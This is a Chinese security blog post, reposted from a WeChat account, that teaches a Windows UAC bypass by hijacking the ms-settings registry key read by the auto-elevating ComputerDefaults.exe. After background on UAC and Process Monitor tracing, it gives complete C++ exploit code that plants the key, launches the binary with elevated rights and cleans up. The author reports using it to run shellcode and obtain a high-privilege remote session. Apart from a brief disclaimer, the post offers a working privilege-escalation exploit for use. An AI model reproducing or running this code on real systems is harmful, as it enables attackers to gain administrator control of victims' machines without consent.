免杀 bypassUAC

admin 2024年4月22日07:47:40评论9 views字数 4874阅读16分14秒阅读模式

免责声明

      文章所涉及内容,仅供安全研究教学使用,由于传播、利用本文所提供的信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任

前言

在开始绕过之前,我们先基本了解一下什么是uac

UAC是Windows操作系统中的一种安全功能,全称为User Account Control(用户账户控制)。它的主要目的是为了提高系统安全性,防止未经授权的程序对系统进行更改,以及减少管理员权限下的不必要操作。

UAC的工作原理是通过弹出用户权限请求框,让用户确认是否允许程序进行敏感操作。当需要进行需要管理员权限的操作时,例如修改系统设置或安装程序,UAC会弹出一个对话框,要求用户确认并输入管理员密码。只有在用户确认后,程序才能获得所需的权限进行操作。

通过UAC,即使用户以管理员身份登录,也可以在正常使用计算机时以标准用户权限运行大部分程序,只有在需要时才提升权限。这有助于减少恶意软件对系统的影响,同时也提高了系统的整体安全性。

总之,UAC是Windows操作系统中的一项重要安全功能,通过用户账户控制和权限提升的方式,有效地保护系统免受未经授权的更改和恶意软件的侵害。

那么进行实验首先需要打开UAC,步骤如下:

1.打开控制面板,找到系统和安全这个选向

免杀 bypassUAC

2.进入以后打开安全和维护这个选项

免杀 bypassUAC

3.找到uac设置的地方(这里我们把它设成第二等级,如果是第一个最高的话,会出现啥你们试试就知道了)

免杀 bypassUAC

在开启uac以后我们进行测试

免杀 bypassUAC

可以看到图标下面有个小盾的exe就会被uac拦截,我们可以双击试试

免杀 bypassUAC

弹出了这个提示框,需要你的允许。这在我们攻打的时候会影响我们的.exe正常运行。

但是windows会有一个白名单允许自己的一些.exe执行。

我们可以使用Sigcheck这个工具来查看,某个.exe是否在windows的白名单中。免杀 bypassUAC免杀 bypassUAC

我们使用两条相同的命令可以看到,我们先查看一个在白名单中的.exe,在执行了命令以后他的结果回显是<autoElevate>true</autoElevate>这个字段,这里我们看到这个字段值为true那么就表现双击.exe以后不会被uac拦截,而当我查看图标带小盾的exe时,就没有这个字段,那么这里可以看到,带有这个字段并且值为true的,运行时不会被拦截。

现在我们就以Computerdefaults这个.exe举例

接下来我们查看调用键值我们使用Prcoess Moniotr这工具来查看,使用方法和之前的文章一样。

免杀 bypassUAC

这里我们需要修改过滤规则,和图片类似就行,我使用的是中文版的,英文的过滤规则名可能不一样,翻译一下就行。

接下来我们开始监控。

这里我们重点监控结果为未找到名称的结果,以及访问了HKCUSoftwareClassesms-settingsshellopencommand这个路径的

这里我解释一下为什么要这么做(个人见解,大佬勿喷),首先结果为NOT FOUND NAME,这就表示了exe访问了某个路径,但是没有找到,其次为什么是HKCUSoftwareClassesms-settingsshellopencommand这个路径,因为网上都是这么找的,所以我们也这么找。开个小玩笑,这里我通过上网查询得到的结果是:

一些高权限的程序会调用 HKCR: 下的键值,通过修改 HKCU: 下面的键值同步修改 HKCR: 下的键值,把原本的键值改为 cmd.exe 等 shell 程序,如果高权限的程序在运行过程中调用此处被修改过的键值,就会以高权限启动我们设定的程序”

这里的解释我觉得不全,如果说这是对原理的解释我觉得可能很牵强,这里我只提供方法,读者大大真要探究原理的话,可以去多查询查询。免杀 bypassUAC

这里我们可以看到确实对这个路径进行了查询,那么我们手动将其补全来看一下他是否有下一步访问。

免杀 bypassUAC

这里我们可以看到他去访问command但是这里默认是没有的,那么就手动创建一个command。

免杀 bypassUAC

我们手动创建以后,在用Prcoss Monitor 查看

免杀 bypassUAC

这里我们可以看到在我们创建了command以后,他又访问了command下面的DelegateExecute这个键值,可能需要在下面创建一个DelegateExecute的值。根据这个名字猜测是执行一个程序,我们把这个值的内容改为cmd.exe,看看是否可以执行起来cmd程序。

免杀 bypassUAC

免杀 bypassUAC

这里我们可以看见双击了ComputerDefaults.exe但是弹出了cmd,这表示我们劫持成功了,而且没有弹出uac拦截。

根据上面的步骤我们大致需要几个步骤如下:

1.在启动程序之前先创建HKCUSoftwareClassesms-settingsShellOpencommand的项。
2.在值里面写入要启动的程序进程。
3.创建DelegateExecute的值。
4.启动ComputerDefaults.exe进程。
5.删除HKCUSoftwareClassesms-settings注册表树

这里我们使用代码去自动化完成,并且将DelegateExecute的值设置成我们命令行输入的.exe程序。

这里我们需要使用到三个函数:

RegCreateKeyEx():

用于创建或打开一个指定的注册表键。它可以用来创建新的注册表键,或者打开已存在的注册表键,如果指定的注册表键已存在,则返回该键的句柄。

RegSetValueEx(): 

用于向指定的注册表键设置一个数值型或字符串型的数值。通过这个函数可以为指定的注册表键设置或修改数值数据。

RegDeleteTree():

用于删除指定注册表键及其所有子项。这个函数可以用来删除指定的注册表键,包括该键下的所有子项。

这里我们使用ShellExecuteEx这个API函数去执行ComputerDefaults.exe这个exe。

以下是 ShellExecuteEx 函数的一般用法:

复制代码SHELLEXECUTEINFO ShExecInfo = {0};

ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);

ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS; // 保持进程句柄

ShExecInfo.hwnd = NULL; // 父窗口句柄

ShExecInfo.lpVerb = _T("open"); // 执行操作,如 "open"、"print"

ShExecInfo.lpFile = _T("path_to_your_program.exe"); // 要执行的程序或文件路径

ShExecInfo.lpParameters = _T("optional_parameters"); // 可选的命令行参数

ShExecInfo.lpDirectory = NULL; // 工作目录

ShExecInfo.nShow = SW_SHOW; // 窗口显示方式

BOOL result = ShellExecuteEx(&ShExecInfo);

if (result) {

    // 执行成功,可以使用 ShExecInfo.hProcess 获取进程句柄等信息

} else {

    // 执行失败,可以通过调用 GetLastError() 获取错误信息

}

ShellExecuteEx 函数会启动一个外部程序(例如一个可执行文件),并可以传递命令行参数。通过设置SEE_MASK_NOCLOSEPROCESS标志,可以获取所启动进程的句柄,使得可以等待该进程执行完成,或者对其进行其他操作。

那么接下我们直接上代码

#include <iostream>

#include <Windows.h>

#pragma comment(lib,"AdvApi32.lib")

#pragma comment(lib,"Shell32.lib")

int main(int argc, char* argv[]) {

    LPWSTR pCMDpath;

    size_t sSize;

    if (argc != 2) {

       std::cout << "Please enter the parameters" << endl;

        return EXIT_FAILURE;

    }

#ifdef _WIN64

    pCMDpath = new TCHAR[MAX_PATH + 1]; // 分配内存用于存储转换后的宽字符字符串,这里也可用vturalalloc来申请一块内存

    mbstowcs_s(&sSize, pCMDpath, MAX_PATH, argv[1], MAX_PATH);

    LRESULT lResult;

    BOOL bResult;

    HKEY hKey = NULL;

    WCHAR szTempBuffer[MAX_PATH + 1];

    DWORD dwData;

    SIZE_T cmdLen;

    SHELLEXECUTEINFO shinfo;

    lResult = RegCreateKeyEx(HKEY_CURRENT_USER, L"Software\Classes\ms-settings\shell\open\command", 0, NULL, REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, &hKey, NULL);

    if (lResult != ERROR_SUCCESS)

        return -1;

    szTempBuffer[0] = 0;

    dwData = 0;

    lResult = RegSetValueEx(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)szTempBuffer, dwData);

    if (lResult != ERROR_SUCCESS)

        return -1;

    cmdLen = lstrlen(pCMDpath);

    dwData = (DWORD)((1 + cmdLen) * sizeof(WCHAR));

    lResult = RegSetValueEx(hKey, TEXT(""), 0, REG_SZ, (BYTE*)pCMDpath, dwData);

    if (lResult == ERROR_SUCCESS) {

        RtlSecureZeroMemory(&shinfo, sizeof(shinfo));

        shinfo.cbSize = sizeof(shinfo);

        shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;

        shinfo.lpFile = L"C:\Windows\System32\Computerdefaults.exe";

        shinfo.lpParameters = L"";

        shinfo.lpDirectory = NULL;

        shinfo.nShow = SW_SHOW;

        shinfo.lpVerb = NULL;

        bResult = ShellExecuteEx(&shinfo);

        if (bResult) {

            WaitForSingleObject(shinfo.hProcess, 0x8000);

            CloseHandle(shinfo.hProcess);         

        }

    }

    if (RegDeleteTree(HKEY_CURRENT_USER, L"Software\Classes\ms-settings\shell\open\command")) {

        return -1;

    }

    if (hKey != NULL)

        RegCloseKey(hKey);

#endif

    return EXIT_SUCCESS;

}

接下来我们看一下使用效果

免杀 bypassUAC

免杀 bypassUAC

可以看到这里是执行成功了,那么同理我们能不能用来执行我们的shellcode呢,试试就知道了。

免杀 bypassUAC

这里看到我们成功上线并且通过使用劫持Computerdefaults.exe的用户后面带有一个*,这说明他显示是高权限的状态。

到此我们成功绕过UAC。

该文章借鉴其他大佬的知识。

原文始发于微信公众号(泾弦安全):免杀 bypassUAC

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月22日07:47:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀 bypassUAChttp://cn-sec.com/archives/2573987.html

发表评论

匿名网友 填写信息